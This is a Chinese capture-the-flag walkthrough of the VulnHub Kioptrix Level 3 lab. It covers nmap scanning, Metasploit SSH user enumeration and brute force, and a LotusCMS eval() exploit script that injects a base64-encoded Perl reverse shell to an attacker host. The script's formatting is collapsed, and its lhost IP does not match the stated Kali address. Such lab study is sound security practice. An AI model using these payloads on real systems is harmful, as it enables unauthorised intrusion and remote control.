VulnHub靶机入门篇--kioptrix.level 3
1.环境准备
靶机:Kioptrix Level 3(Nat模式)
下载地址:https://download.vulnhub.com/kioptrix/KVM3.rar
攻击机:kali(192.168.26.128)(Nat模式)
2.渗透测试
信息收集
主机发现
nmap -sP 192.168.26.0/24
可以得知靶机的ip:192.168.26.135
扫描端口
nmap -sS -sV -sC -p- 192.168.26.135
这里详细看namp使用命令:nmap超详细使用教程-CSDN博客
22端口: ssh服务 #OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80端口: http超文本协议 #Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6
漏洞收集 1(ssh)
漏洞利用 1(ssh)
启动 Metasploit
msfconsole
进入 msfconsole 后,将看到启动文字界面和 msf6 >
使用辅助扫描工具 (Auxiliary)
扫描用户时利用 CVE-2018-15473 和 CVE-2016-6210 漏洞
search cve:2018-15473
或者
search cve:2016-6210
扫描出来两者结果都是一样的
使用如下命令选择此 Auxiliary,或者使用命令 use 0 也是一样的
use auxiliary/scanner/ssh/ssh_enumusers
显示可设参数
show options
//显示需要设置的参数,Yes为必设项
设置参数
set rhosts 192.168.26.135 //靶机
set rport 4444 //这里可以重新设,也可以默认
set user_file usr/share/wordlists/metasploit/piata_ssh_userpass.txt
攻击
run
//或者exploit
这里攻击失败了
漏洞利用2(ssh)
爆破口令时利用 CVE-1999-0502 漏洞
使用msfconsole命令进入msf6
msfconsole
进入msf6之后进行漏洞查询
search cve:1999-0502
使用第14个的命令或者使用命令 use 14 效果也是一样的
use auxiliary/scanner/ssh/ssh_login
显示可设参数
设置参数
set rhosts 192.168.26.135
攻击:run
set命令详解:Linux set命令参数及用法详解 - mzer - 博客园 (cnblogs.com)
好像并没有什么用,只能看看80端口的服务
漏洞收集2(Lotus)
进入网页查询ip地址
发现有一个login的登录框,可能存在sql注入漏洞,或者弱口令,并且发现这里有一个LotusCMS,网上查找一个信息,看看有没有相关的漏洞
发现存在一个远程代码执行漏洞:LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) - PHP remote Exploit.
漏洞利用3(LotusCMS)
网上说少用metasploit,那么我们查找网上的exp脚本
from requests import get
import re
import random
from urllib import parse
import base64
import threading# 生成随机码
def gen_string():key = ""for i in range(10):key += chr(random.randint(65,90))return key# 检查漏洞是否存在
def check(target):if "http" not in target:target = "http" + targetresult = get(target)find = re.search(r'<a.*href=[\'|"](/*index.php)\?.*(page=\w+)[\'|"].*>',result.text)if find is None:print("[*] INFO: Not fond vulnerability.")return 0key = gen_string()target += "index.php?page=index');"+parse.quote("echo '"+key+"';//")res = get(target)if key in res.text:print("[!] INFO: Find vul!!!")return Trueprint("[*] INFO: Not fond vulnerability.")return 0def exp(target,host,port):poc = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" %(host,port)poc = base64.b64encode(poc.encode('utf-8'))target += "index.php?page=index');"+parse.quote("system(base64_decode(%s));//" %poc)print("[~] Confirm: please run 'nc -lvp %s' on your client" %port)input("\t|--- Please enter any key to start!")threading.Thread(target=get, args=(target,)).start()print("[?] INFO: Get shell?")print("[!] INFO: If the attack is successful,The thread is being requested to suspend……")exit(0)# target : please input target
# host : please input lhost
# port : please input lport
target = "http://192.168.26.135/"
host = "192.168.29.128"
port = "4444"if check(target):exp(target, host, port)
运行脚本 kali使用python命令,或者把上面脚本放入py文件进行运行
这里一直没有什么反应,可能是脚本的原因,用metasploit的方法进行利用
用search的命令搜索lotuscms的利用信息
use exploit/multi/http/lcms_php_exec
显示可设参数
设置参数
这边可以看到URI为/lcms/但是我本地是没有这个路径的,所以我们这里需要设置下RHOSTS和URI
没有显示成功,设置payload
哎,还是失败 ,查看原因,说使用Nat模式
只能后续再找找原因咯